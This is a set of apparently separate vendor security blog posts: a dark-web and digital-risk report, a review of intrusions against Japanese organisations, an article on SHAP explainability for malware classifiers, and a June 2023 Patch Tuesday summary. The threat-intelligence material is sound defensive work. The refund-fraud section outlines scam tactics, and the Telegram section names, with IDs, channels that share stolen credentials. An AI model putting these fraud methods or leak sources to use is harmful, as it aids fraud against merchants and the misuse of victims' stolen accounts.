Figure 1 provides a breakdown of total Falcon Intelligence Recon+ notifications by customer verticals for 2022. The industries with the most notifications were retail, technology and manufacturing. These industries had true positive rates of 11%, 15% and 24%, respectively.

 

Triaged Notifications

The Falcon Intelligence Recon+ team has created nearly 22,000 rules, which yielded more than 700,000 triaged notifications in 2022. Figure 2 shows the breakdown of these notifications.

 

Falcon Intelligence Recon+ Analysis

The analysis shown in Figure 3 is based solely on observations from the Falcon Intelligence Recon+ team and the sources’ effects on our current customer base.

Credential Leaks

 

The Falcon Intelligence Recon+ team triaged approximately 3,000 credential leak notifications over the course of 2022. We observed a significant increase in credential leaks in June. Upon closer examination of June data, we noticed that the normal number of credential leaks in the manufacturing, healthcare and media industries doubled for the month. This also coincides with observations of multiple adversaries testing the KoloVeeman credential harvester. The increase observed in December cannot be attributed to any particular industry, with the entire Falcon Intelligence Recon+ customer set affected. It is possible that threat actors were trying to take advantage of the holidays with workers potentially being out of office.

Top Five Actionable Sources

 

 

Russian Market Analysis

The Russian market is where Falcon Intelligence Recon+ analysts observed the most true positive alerts generated. This marketplace posts hundreds of access-broker-type notifications daily. The majority of these credentials were harvested using either Redline, Vidar or Raccoon malware. Of the 20,000+ Russian market notifications, we observed 50% of the Falcon Intelligence Recon+ monitored domains had stolen credentials.

An example of a poster on the Russian market is an author who uses the handle Mo####yf [Diamond]. The Falcon Intelligence Recon platform showed that this threat actor posted more than 800,000 times in 2022, with posts in English, German, Portuguese, Italian, Spanish, Malay, Turkish, Dutch, Czech and Romanian. This threat actor posted credentials related to more than 90% of the Falcon Intelligence Recon+ customer set. The stealer of choice for the threat actor is Raccoon, which was used in 63% of notifications, followed by Vidar at 34% and Redline at 3%.

Telegram Analysis

Refund Fraud

Falcon Intelligence Recon identified social engineering techniques used to undermine refund methodologies to scam online retail merchants. Malicious threat actors discerned fake tracking ID (FTID) methods that work for specific merchants and traded that information. Commonly, threat actors requested mail-in refunds following expensive purchases, and they returned a package with the correct label but would not put the appropriate item in the box. With this technique, they attempted to either undermine the refund facility or the carrier; while the refund facility can be trained in what to look for, an outline would need to be provided to the carrier. Another method identified was using a legitimate shipping label but obfuscating the relevant information on the label that would identify the person or the order information.

Credential Leaks

Telegram is also used by adversaries to post new and old email/password combinations. Some of the most common Telegram channels we observed posting exposed data are: Unsafe Internet Chat (1524907442), Maill Access (1368931502), Retard Cloud (1587335634) and OPENBULLET(1706265433).

Market BlackPass Analysis

Market BlackPass is used predominantly for selling identity theft information. Considering the intended use, we noticed the retail sector’s customer base and retail organizations’ executive staff as the main victims of information posted on the market. Authors posted personally identifiable information (PII) for sale, including name, date of birth, social security number and even debit/credit card information. Victim information was sold for between $1 and $7 USD per victim.

Typosquatting Analysis

Falcon Intelligence Recon+ analysts researched more than 100,000 typosquatting notifications and identified 1% of those as true positives.

Registrars Most Associated with True Positive Notifications
Name of Registrar	Percentage of All True Positives
GoDaddy	17%
NameCheap	11%
Sav[.]com	5%
Google	4%
Alibaba	3%

Pastebin Analysis

Pastebin is similar to Telegram in the variety of types of data that gets shared maliciously. Throughout 2022, we observed different types of exposures on Pastebin, from account credential leaks and discounted brand vouchers to illegal live streaming of televised programs. Pastebin differs from the majority of the other sources in that most of the notifications deemed to be true positive are posted with “guest” being the identity of the author. This can sometimes make it more difficult to determine connections between posts, but it does not hinder our ability to provide our customers with actionable intelligence.

How Falcon Intelligence Recon+ Can Help

Since Falcon Intelligence Recon+ works with deep and dark web data every day, we know which sites to focus on and which ones are less concerning. A customer’s assigned Falcon Intelligence Recon+ analyst provides a managed digital risk protection service. We handle the hunting for external threats to brands, employees and sensitive data, allowing customers’ cyber professionals to devote their time to handling actionable data rather than hunting through a complex and ever-changing data set.

Additional Resources

• Watch this short demo to see how Falcon Intelligence Recon enables organizations to proactively uncover fraud, data breaches and phishing campaigns to protect their brand from online threats that target their organization.
• To find out more about how to incorporate threat intelligence into your security strategy, visit the CrowdStrike Falcon® Intelligence page.
• Read about the cybercriminals tracked by CrowdStrike Intelligence in the CrowdStrike 2023 Global Threat Report.
• Request a free trial of the industry-leading CrowdStrike Falcon® platform.

Japan, known for its innovation and efficiency, is a globally recognized industry leader. This puts Japan-based organizations at risk of being recognized as potentially valuable targets by both criminally motivated and targeted cyber adversaries. This blog, directly from the front lines of CrowdStrike® Falcon OverWatch threat hunting, shares intrusion insights drawn from activity observed in Japan throughout 2022 and provides actionable recommendations for securing your environment in 2023 and beyond.

Cybersecurity: A National Security Issue

In late 2022, Japan’s government updated its National Security Strategy (NSS) to reflect the state of the current threat landscape. This comprehensive document outlines the government’s approach to national security, including its cybersecurity policy. In particular, the NSS highlights just how widespread the cybersecurity threat is and outlines a national response to address supply chain risks, protect critical infrastructure and prevent intellectual property theft.  

The revised NSS notes several key improvements, such as increased investment in cybersecurity by Japan’s Self-Defence Force, a large increase in the number of cyber personnel trained to actively defend Japan from cyberattacks, and enhanced cooperation with regional allies and international alliances. 

Equally, the NSS acknowledges that the ever-increasing cyber threat to Japanese government institutions and private organizations requires a joint response effort among government, business and security experts. To participate in this partnership, security practitioners across business must understand, in detail, the threats impacting Japan.

Insights from the Security Industry

CrowdStrike has been actively protecting Japanese organizations for several years. During this time, the Falcon OverWatch threat hunters have seen firsthand the evolution of the threat to Japanese organizations and have been tracking these trends to inform the continued strengthening of their proactive hunting efforts against interactive cyberattacks. 

Over the past three years, interactive intrusion activity against Japan-based organizations has seen sustained year-over-year increases. In particular, an increasing proportion of intrusions has been attributed to eCrime activity. During 2022, eCrime accounted for 60% of all interactive intrusion activity observed by Falcon OverWatch.

Targeted intrusion (aka state-nexus) activity made up 9% of all intrusions uncovered, while the remaining 31% of observed intrusions were unattributed. This is compared with 2021, when eCrime accounted for 46% of activity, and targeted intrusion operations accounted for 27% of activity.

Which Adversaries Are Operating in Japan and Why?

Understanding the motivations and tradecraft of key adversaries operating in Japan is an invaluable insight for defenders looking to improve their capacity to both detect and respond to the latest cyber threats.

Throughout 2022, suspected eCrime adversaries, named SPIDERs in CrowdStrike’s threat actor terminology, were the most prolific adversary group operating in Japan. Japan’s economic strengths make it an obvious target for financially motivated eCrime adversaries. Japan is an internationally recognized innovation hub and home to global brands across key sectors including technology, manufacturing and automotive. With an estimated gross domestic product (GDP) of $4.4 trillion USD in 2023, Japan is the third largest globally, with a GDP value representing more than 2.2% of the world’s economy.¹

Falcon OverWatch continues to observe eCrime adversaries targeting high economic growth industries in Japan as a means of generating revenue. In 2022, the technology, software and retail industries were the most commonly targeted. Technology and software companies in particular accounted for 36% of all intrusions observed by Falcon OverWatch, and of those intrusions, 62% were eCrime related.

Among the eCrime activity that Falcon OverWatch uncovered, hunters found activity carried out by two known eCrime groups: CARBON SPIDER and MUMMY SPIDER.

CARBON SPIDER, active in the eCrime space since approximately 2013, is a criminally motivated group that targets primarily the hospitality and retail sectors in pursuit of payment card data. Stolen payment data is sold on the dark web for use in further criminal enterprise, such as fraud or money laundering. 

MUMMY SPIDER is an eCrime group known for their development of Emotet malware. Emotet is often deployed through initial access vectors such as phishing. Once executed, Emotet will often deploy further malware such as banking trojans or information stealers, which then work to collect and exfiltrate information from victims. Emotet can also deploy implants, which may be used by targeted intrusion operators to gain persistent command-and-control over a victim. The growing threat of data loss and data extortion is something organizations need to be acutely aware of. Adversaries have learned that stealing data, rather than simply encrypting data, places them in a much stronger negotiating position when it comes to making ransom demands.

Ransomware campaigns also remained persistently popular in Japan in 2022. Falcon OverWatch observed multiple ransomware families being deployed by eCrime adversaries, the most prevalent being Phobos ransomware. Adversaries deploying this type of ransomware tend to target externally accessible Remote Desktop Protocol (RDP) services as a means of access. By comparison, in 2021, Makop was the most prevalent ransomware family in Japan, also commonly deployed after initial access via unsecured RDP services.

Japan’s targeted intrusion activity was predominantly attributed to suspected China-nexus adversaries — named PANDAs in CrowdStrike adversary terminology— as well as SILENT CHOLLIMA (North Korea-nexus) and NEMESIS KITTEN (Iran-nexus). Organizations need to be particularly alert to the threat of nation-state economic espionage. This moves beyond traditional information-collection campaigns motivated by national security interests into espionage that is commercially motivated.

Again, Japan’s global reputation as an economic powerhouse makes Japan-based organizations an attractive target for adversaries with economic espionage objectives. Japan is considered a leader in technological innovation, and its products and services are highly sought-after globally. With a high concentration of valuable intellectual property and sensitive information, Japan is a valuable target for economically motivated espionage by state-nexus adversaries, including China-affiliated adversaries.  Moreover, Japan and China’s complicated geo-political history may serve as a motivator for more traditional forms of nation-state espionage.

SILENT CHOLLIMA, a North Korea-nexus threat actor, appears to have begun shifting their objectives in 2015. This threat group has expanded beyond intelligence collection on government and military entities into economic espionage operations against privately owned companies with technology that could help DPRK develop its economy. Given Japan’s proximity to North Korea and the geopolitical tensions in the region, Japanese organizations make for opportune targets for SILENT CHOLLIMA to carry out their objectives.

NEMESIS KITTEN, closely aligned with the Iranian government, is known to target misconfigurations and unpatched vulnerabilities in external-facing services, such as those in Microsoft Exchange and more recently Log4j. During follow-on activity, NEMESIS KITTEN often ransoms organizations using in-built encryption software, such as BitLocker full-disk encryption. Organizations must pay the ransom amount in exchange for decryption keys. Given Japan’s strong economy and dependence on technology, Japanese organizations are a target for this kind of activity.

What Does This Threat Activity Look Like?

Both eCrime and targeted intrusion adversaries are increasingly using malware-free techniques to achieve their objectives against entities in Japan. Globally, 71% of all intrusion activity observed by Falcon OverWatch was malware-free. (For more information on global interactive intrusion trends, download a copy of the Falcon OverWatch 2022 Threat Hunting Report.)

eCrime adversaries, in particular, frequently use valid credentials to gain access to victim environments in an attempt to blend in with expected activity. The credentials are often obtained through access brokers — eCrime adversaries that specialize in gaining and then selling access to victim environments — or by brute-force attacks used to guess credentials on externally exposed services. Once access is achieved, eCrime adversaries are abusing legitimate remote access software to retain that access and conduct further command-and-control. Specific tooling observed in Japan includes TightVNC, AnyDesk and Atera Agent. Often these tools and the associated domains they contact are allowlisted by organizations to enable legitimate administrative use. However, Falcon OverWatch continues to observe adversaries bringing “packs” of these tools to compromised endpoints and attempting execution until one succeeds.

These trends are just two of the many examples of why human-driven threat hunting is such a critical part of the security equation. Seemingly valid users using legitimate and allow-listed tooling may not, on their own, trigger an alert from technology-based solutions. However, threat hunters can augment this information with behavioral indicators to rapidly piece together clues that the activity may be malicious. When coupled with technology-based identity threat detection and protection solutions, the door very quickly starts to close on adversaries. 

Watch this short video to see how Falcon OverWatch proactively hunts for threats in your environment.

Leverage People, Process and Technology to Stop Active Intrusions

In a recent intrusion against a Japanese entity, a suspected criminal adversary was observed conducting malicious interactive activity across multiple Windows hosts. The activity was preceded by a large volume of failed login attempts. This was indicative of likely password spraying, a type of brute-force attack where common passwords are tested against many different accounts in an attempt to discover valid account credentials. 

Falcon OverWatch discovered the adversary operating with multiple sets of credentials in their possession. These credentials were used as the adversary deployed and attempted execution of a broad selection of adversary tooling, including GMER, PC Hunter, Defender Control and Process Hacker. These tools are commonly used by adversaries to attempt to disable security tooling. 

The adversary proceeded to perform network reconnaissance operations, including scanning for devices with open RDP ports, likely as a precursor to planned lateral movement attempts. Falcon OverWatch often observes adversaries using multiple sets of valid credentials, which may be used for persistence, privilege escalation and lateral movement.

In this instance the victim organization was able to quickly act on Falcon OverWatch’s timely notifications to stop the adversary in their tracks before damage could be done. When it comes to responding to interactive intrusions, a timely response to Falcon OverWatch notifications is as important as the speed of the notification itself. In the CrowdStrike Falcon OverWatch 2022 Threat Hunting Report, Falcon OverWatch detailed a reduction in average breakout time for eCrime adversaries — the time taken for an adversary to move laterally from their initial beachhead — to 1 hour and 24 minutes.

CrowdStrike Falcon^® Complete managed detection and response (MDR), which is seamlessly integrated with continuous Falcon OverWatch managed threat hunting, helps to identify, prevent and remediate active threats. Further, Falcon Complete’s Japanese-speaking analysts provide the opportunity for active partnership with organizations, ensuring that the details of any threats are clearly communicated and recommendations are offered to ensure risks are addressed comprehensively. 

Five Top Tips to Secure Your Environment in 2023

1. Know Who’s Who

Identity threats are one of the most pervasive risks to organizations today. In 2022, 60% of intrusions Falcon OverWatch observed in Japan involved the abuse of valid accounts, and adversaries are commonly operating with multiple sets of valid credentials. Falcon OverWatch only expects this activity to grow, especially with the proliferation of access brokers such as PROPHET SPIDER, an eCrime actor known to obtain and then sell access to compromised organizations on the dark web and other forums. CrowdStrike Falcon® Identity Threat Detection and CrowdStrike Falcon® Identity Threat Protection provide additional visibility into unauthorized access and support additional layers of authentication, such as multifactor authentication (MFA), to ensure your organization’s identities remain secure.

2. Secure the Endpoint

As adversaries become more sophisticated, your defenses need to adapt. Traditional on-premises and hosted IT assets remain necessary gateways for the ongoing management of and access to critical cloud workloads, storage repositories and further infrastructure. As a result, these traditional assets also represent increasingly critical points of exposure for organizations as they increasingly rely on the active exchange of sensitive data, process flows and communications to operate and conduct business. With this large onset of data flow, organizations need to look to cloud-native platforms such as CrowdStrike Falcon to collect, organize and process the large volumes of events, while allowing for swift prevention and response through the Falcon sensor.

3. Secure the Cloud

Adversaries are continuing to adapt to the evolving world of cloud technology and are actively seeking to capitalize on the opportunity it presents to exploit gaps in an organization’s defenses. Falcon OverWatch has observed trends in adversaries gaining access to traditional endpoints and using tools to discover cloud infrastructure, such as enumerating cloud metadata.

4. Know the Adversary

Every adversary — such as CARBON SPIDER, NEMESIS KITTEN and PROPHET SPIDER discussed above — is unique. Each has their own set of tactics, techniques and procedures they employ to achieve their individual objectives. Knowing who these adversaries target and how they operate can assist organizations in preparing defenses.

5. Leverage People, Process and Technology

As we have seen in recent cases within Japan and beyond, adversaries are using advanced techniques to subvert technology systems and evade defenses, often blending in with legitimate administrative activities. To effectively detect and respond to this activity, a combination of people, refined processes and cloud-native technology is required. With Falcon OverWatch, organizations can feel more secure with our human experts hunting relentlessly, 24/7/365, for the last 1% of activity that would otherwise go undetected.

Additional Resources

• Learn more about Falcon OverWatch managed threat hunting. 
• See which threat actors may be targeting your industry or region by exploring the CrowdStrike Adversary Universe. 
• Find out how the 24/7 expertise of Falcon Complete MDR can help your organization close the cybersecurity skills gap. 

^{1 International Monetary Fund, World Economic Outlook Database, April 2023}

• Machine learning explainability ensures that AI models are transparent, trustworthy and accurate
• Explainability enables data scientists to understand how and why an AI model arrived at a particular decision or prediction
• SHAP values are a powerful tool for explainability as they provide a way to measure the contribution of each feature in a model to the final prediction, offering insights into how the model reached a prediction

Despite the race to integrate artificial intelligence (AI) and machine learning (ML) into business systems and processes, the crucial issue of comprehending and articulating the decision-making process of these models is often ignored. Although machine learning is a valuable tool for uncovering pertinent information from vast amounts of data, it is essential to ensure the relevance, accuracy and reliability of this information. Therefore, comprehending and being able to explain the reasoning behind AI models’ decisions can help data scientists construct unbiased, dependable models that produce precise and trustworthy predictions.

Explainability of AI models can help crack the code on AI decision-making. The use of SHAP (SHapley Additive exPlanations) values can be a powerful tool for data scientists to build accurate machine learning models by identifying areas where the model may be making errors or where the data used to train the model may be flawed.

Why Do We Need AI Explainability?

There are three major reasons why AI explainability is critical. First, by providing clear and transparent explanations of how the AI model arrived at its decisions, stakeholders can understand the rationale behind the decisions and build trust in the model. Second, explainable models can help detect and address unintentional biases, ensuring that the decisions made by the model are fair and unbiased. And third, data scientists can identify areas where the model may be making errors in decision-making or where the data used to train the model may be flawed, which can help refine the model and improve its accuracy.

Explainability methods usually aim to reveal what features are the most important for a given prediction (e.g., for classification, the class predicted for that particular example), as displayed in Figure 1. In cybersecurity, with high stakes on the line, being able to understand the reasoning behind the predictions of an AI detection system allows threat analysts to gain a deeper understanding of the threat landscape. Moreover, an automated way of understanding what fuels the decisions of an ML model can facilitate interactions with customers and even advise on the best remediation measures applicable in the case of malicious activity being detected by an AI system. Thus, model explainability is an important topic, but one that is rarely brought up.

 

In Figure 1, the features are represented by Feature 1, Feature 2, Feature 3 and Feature 4. The values on the right-hand side are the features’ actual SHAP values, and they sum to the model’s prediction. The sign of the SHAP values is indicative of the contribution toward positive class.

Depending on the type of problem, architectural constraints or other use-case-specific limitations, there are a variety of explainability paths we can explore. Here we focus on explainability in two different types of ML methods that have become very popular in cybersecurity in recent years: tree-based models (e.g., XGBoost, Random Forest) and neural networks.

Model Explainability for Tree-based Models

SHAP is a game theoretic approach named in honor of Lloyd Shapley and is based on the idea that the outcome of each possible combination of features should be considered to determine the importance of a single feature, as shown in Figure 2. This comes down to training an exponential number of distinct predictive models that are equivalent to each other, but using a different set of features.

 

This approach is very time and resource intensive. Thus, existing feature selection methods take measures to avoid this kind of exhaustive search. One solution is to approximate the decision function by creating a series of perturbations to the sample (e.g., randomly set entries in the feature vector to zero) and then predicting a label for each of these perturbations. Using this sampling strategy, the local neighborhood is roughly approximated, therefore creating SHAP values when solving the regression.

When it comes to tree models and ensembles of trees, a very popular implementation of SHAP is the TreeExplainer, which can be found in the SHAP package, making it our go-to explainer for these types of models. TreeExplainer is a good choice because it includes fast runtime, it works under several different possible assumptions about feature dependence, and it gives exact and insightful information regarding the features’ influence on a prediction, as shown in Figure 3.

Model Explainability for Neural Networks

Picking the best candidate for explainability in neural networks is not as straightforward. When first investigating this problem, our interest was in leveraging explainability methods applicable to all common architectures, such as MLPs (multi-layered perceptrons), CNNs (convolutional neural networks) and RNNs (recurrent neural networks). Therefore, approaches such as Grad-CAM (Gradient-weighted Class Activation Mapping) were purposely omitted.

We found a multitude of potential explainers, but before discussing the one we chose, let’s briefly review some of the other techniques that have various advantages and disadvantages:

• KernelExplainer explains the output of any function using a special weighted linear regression that computes the importance of each feature. However, it suffers from non-determinism and exponential computing time, making it unsuitable for most neural network-based architectures.
• Gradients and integrated gradients (IG): Gradients output a saliency map that measures prediction changes with respect to a given feature. Integrated gradients use a baseline to compute the importance of a feature by accumulating gradients with respect to that feature along the shortest path from the baseline to the sample. The advantage of this method is it uses the original network as is, and it is simple to implement.
• GradientExplainer approximates SHAP values to infinite player games using expected gradients, which combines ideas from integrated gradients, SHAP and SmoothGrad. Its drawback is non-determinism.
• Deep Learning Important FeaTures (DeepLIFT) determines the relevance of a prediction via the decomposition of the output of a neural network on a specific input by back-propagating the contributions of all neurons in the network to every feature of the input. It is efficient and connects with SHAP values.
• DeepExplainer is based on DeepSHAP and estimates the conditional expectations of SHAP values for deep learning models. It supports a wider variety of architectures but does not support all rules for assigning contribution scores. It scales linearly with the number of background data samples, and 1,000 or even 100 samples can give a good estimate of the expected values.

While working with DeepExplainer, we observed that a version of the SHAP package greater than 0.41.0 is required for TensorFlow v2 models. Also, some of the operations (e.g., the SELU activation) may not be supported yet. Fortunately, this is easily solvable by adding them manually here.

Our experiments showed that selecting a good baseline is a key step in applying the explainability methods discussed above (Integrated Gradients and DeepLIFT). It should convey a complete absence of signal, so features that are apparent from attributions are properties only of the input and not of the baseline. From our experience (see Figure 4), while applying explainability on neural networks working at character level, we have found that the all-zero input embedding vector is a good baseline.

Our experiments show that all of the methods considered for neural networks seem to mostly agree on the positive or negative impact of a feature. However, the value computed by each of these methods might be different because of the computation technique used. In the end, for consistency reasons we chose DeepExplainer because its determinism and its straightforward implementation in the SHAP package yield definite advantages.

Explainability Methods at CrowdStrike

When dealing with tree-based models as well as tree ensembles, a very promising explainability technique we have leveraged in the past with great success was the TreeExplainer, which is powered by SHAP. When it comes to understanding how certain features influence the prediction of a neural network, we have found that using DeepExplainer can help us gain more insights into a model’s predictions. Explainability methods are a complex topic and are part of an intricate system designed to offer the most accurate predictions to our customers, while ensuring that decisions are as transparent and well-informed as possible.

As part of our workflow, we always make sure to analyze the importance of a model’s features. This is regarded as an important sanity check among many others before deploying any AI model into production. Since classifiers are trained on large corpora, it’s crucial to ensure that features are indeed informative (no high correlation or redundancy) and also that their value distribution in the corpora is representative of real-world data.

Explainability methods are also helpful for threat analysts and support teams. Using explainability, we can more easily and accurately explain to customers what triggered specific detections. In Figure 5, you can see some of the patterns that fueled the decision of our malware classifier for PowerShell scripts. This code snippet presents a weak obfuscation of the well-known Invoke-Expression (IEX) cmdlet, which evaluates or runs a specified string as a command. The actual command needs to be decoded from Base64 by a human in order to decide if the script is indeed malicious. Nevertheless, this assessment can serve as the basis for a more complex analysis.

Final Remarks

Auditing and protecting black-box learning systems against attacks is challenging, especially in cybersecurity. A lack of transparency is a significant security issue. Determining the features of an input that are decisive in making a given prediction is an example of a straightforward problem. However, problems like this often prove difficult to solve and are yet of utmost necessity.

Achieving explainability in cybersecurity ML models is crucial for identifying and addressing weaknesses. We discussed various methods for explaining the decision-making process of commonly used ML models in cybersecurity, including tree-based models and neural networks. While TreeExplainer is widely used for the former, the latter poses a challenge due to their opaque decision-making process. To address this challenge, we use a solution based on DeepExplainer that meets multiple requirements such as theoretical justification, accuracy of explanations, determinism, computational complexity, and robustness. While current explainability methods have limitations, they represent a positive step toward achieving explainable AI (XAI), which is essential for identifying and correcting model weaknesses to achieve optimal results.

Additional Resources

• Learn more about the CrowdStrike Falcon® platform by visiting the product page.
• Test CrowdStrike next-gen AV for yourself. Start your free trial of CrowdStrike Falcon® Prevent.

Microsoft has released 78 security patches for its June 2023 Patch Tuesday rollout. Of the vulnerabilities patched today, 6 are classified as Critical and 38 are remote code execution (RCE) flaws. 

June 2023 Risk Analysis

This month’s leading risk type is remote code execution (41%), followed by elevation of privilege at nearly 22% and a tie for denial of service and spoofing at 13% each.  

The Microsoft Windows product family received the most patches this month with 37, followed by Developer Tools with 25 and Extended Security Update (ESU) with 18.

Critical Vulnerability in Microsoft SharePoint Server

Microsoft Office is getting a patch for Critical vulnerability CVE-2023-29357, which has a CVSS of 9.8. SharePoint is a powerful collaboration platform that lets organizations share and manage content, knowledge and applications. The Microsoft Security Response Center (MSRC) says an attacker that gains access to spoofed JSON Web Tokens (JWT) can leverage them to execute a network-based attack that bypasses authentication and allows them to potentially access administrator privileges. 

Microsoft states, “Customers who have enabled the AMSI integration feature and use Microsoft Defender across their SharePoint Server farm(s) are protected from this vulnerability. For more information, see Configure AMSI integration with SharePoint Server.”

Rank	CVSS Score	CVE	Description
Critical	9.8	CVE-2023-29357	Microsoft SharePoint Server Elevation of Privilege Vulnerability

Figure 3. Critical vulnerability in Microsoft SharePoint Server

Critical Vulnerabilities Affect Windows Pragmatic General Multicast 

CVE-2023-29363, CVE-2023-32014 and CVE-2023-32015 are three Critical distinct vulnerabilities with a CVSS of 9.8. Microsoft Windows Pragmatic General Multicast (PGM) has been updated in the last two monthly patch releases. In this particular case, the vulnerabilities allow a remote, unauthenticated attacker to execute code on an affected system when the Windows Message Queuing service is running in a PGM server environment. As Microsoft states in the description for each CVE: “The Windows message queuing service, which is a Windows component, needs to be enabled for a system to be exploitable by this vulnerability. This feature can be added via the Control Panel. You can check to see if there is a service running named Message Queuing and TCP port 1801 is listening on the machine.”

Rank	CVSS Score	CVE	Description
Critical	9.8	CVE-2023-29363	Windows Pragmatic General Multicast (PGM) Remote Code Execution Vulnerability
Critical	9.8	CVE-2023-32014	Windows Pragmatic General Multicast (PGM) Remote Code Execution Vulnerability
Critical	9.8	CVE-2023-32015	Windows Pragmatic General Multicast (PGM) Remote Code Execution Vulnerability

Figure 4. Critical vulnerabilities in MS Windows Pragmatic General Multicast (PGM)

Critical Vulnerability Affects Windows Hyper-V

CVE-2023-32013 is a Critical vulnerability affecting Windows Hyper-V with a CVSS of 6.5. Hyper-V is Microsoft’s virtualization platform that enables administrators to simultaneously run multiple operating systems on the same physical server. According to Microsoft, “Successful exploitation of this vulnerability requires an attacker to prepare the target environment to improve exploit reliability.” It is likely this vulnerability is rated “Critical” despite the otherwise lower CVSS score because of the importance of Hyper-V on virtualization infrastructures and the ease of access through the network as an attack vector.

Rank	CVSS Score	CVE	Description
Critical	6.5	CVE-2023-32013	Windows Hyper-V Denial of Service Vulnerability

Figure 5. Critical vulnerability in MS Windows Hyper-V

Critical Vulnerability Affects .NET, .NET Framework and Visual Studio

CVE-2023-24897 is a Critical vulnerability affecting Windows .NET, .NET Framework and Visual Studio and has a CVSS of 7.8. .NET and Visual Studio are used to create a variety of business and scientific systems. This particular vulnerability has “remote” in the title but according to Microsoft, “The word Remote in the title refers to the location of the attacker. This type of exploit is sometimes referred to as Arbitrary Code Execution (ACE). The attack itself is carried out locally.”

Rank	CVSS Score	CVE	Description
Critical	7.8	CVE-2023-24897	.NET, .NET Framework and Visual Studio Remote Code Execution Vulnerability

Figure 6. Critical vulnerability in .NET, .NET Framework and Visual Studio

Not All Relevant Vulnerabilities Have Patches: Consider Mitigation Strategies

As we have learned with other notable vulnerabilities, such as Log4j, not every highly exploitable vulnerability can be easily patched. As is the case for the ProxyNotShell vulnerabilities, it’s critically important to develop a response plan for how to defend your environments when no patching protocol exists. 

Regular review of your patching strategy should still be a part of your program, but you should also look more holistically at your organization’s methods for cybersecurity and improve your overall security posture. 

The CrowdStrike Falcon^® platform regularly collects and analyzes trillions of endpoint events every day from millions of sensors deployed across 176 countries. Watch this demo to see the Falcon platform in action.

Learn More

Learn more about how CrowdStrike Falcon^® Spotlight vulnerability management can help you quickly and easily discover and prioritize vulnerabilities here.

About CVSS Scores

The Common Vulnerability Scoring System (CVSS) is a free and open industry standard that CrowdStrike and many other cybersecurity organizations use to assess and communicate software vulnerabilities’ severity and characteristics. The CVSS Base Score ranges from 0.0 to 10.0, and the National Vulnerability Database (NVD) adds a severity rating for CVSS scores. Learn more about vulnerability scoring in this article. 

Additional Resources

• For more information on which products are in Microsoft’s Extended Security Updates program, refer to the vendor guidance here.
• Download the CrowdStrike 2023 Global Threat Report to learn how the threat landscape has shifted in the past year and understand the adversary behavior driving these shifts.
• See how Falcon Spotlight can help you discover and manage vulnerabilities and prioritize patches in your environments. 
• Learn how CrowdStrike’s external attack surface module, Falcon Surface, can discover unknown, exposed and vulnerable internet-facing assets enabling security teams to stop adversaries in their tracks.
• Learn how Falcon identity protection products can stop workforce identity threats faster. 
• Make prioritization painless and efficient. Watch how Falcon Spotlight enables IT staff to improve visibility with custom filters and team dashboards. 
• Test CrowdStrike next-gen AV for yourself with a free trial of Falcon Prevent.